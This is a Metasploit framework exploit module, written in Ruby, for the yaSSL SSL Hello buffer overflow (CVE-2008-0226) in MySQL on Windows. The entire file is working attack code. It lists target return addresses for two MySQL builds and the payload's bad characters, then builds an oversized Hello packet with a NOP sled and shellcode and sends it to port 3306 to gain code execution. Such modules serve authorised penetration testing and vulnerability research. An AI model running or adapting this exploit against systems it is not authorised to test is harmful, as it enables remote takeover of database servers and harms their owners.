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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
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        implementation bundled with MySQL <= 6.0. By sending a specially crafted
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        Hello packet, an attacker may be able to execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-0226' ],
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          [ 'OSVDB', '41195'],
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          [ 'BID', '27140' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 600,
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          'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'MySQL 5.0.45-community-nt',    { 'Ret' => 0x008b9d45 } ],
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          [ 'MySQL 5.1.22-rc-community',    { 'Ret' => 0x008b04c9 } ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2008-01-04'))
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    register_options([ Opt::RPORT(3306) ], self)
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  end
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  def exploit
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    connect
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    sock.get_once
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    req_uno =  [0x01000020].pack('V')
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    req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
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    req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
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    req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
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    req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
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    req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
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    req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
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    req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
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    req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)
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    print_status("Trying target #{target.name}...")
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    sock.put(req_uno)
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    sock.put(req_dos)
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    handler
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    disconnect
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  end
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end
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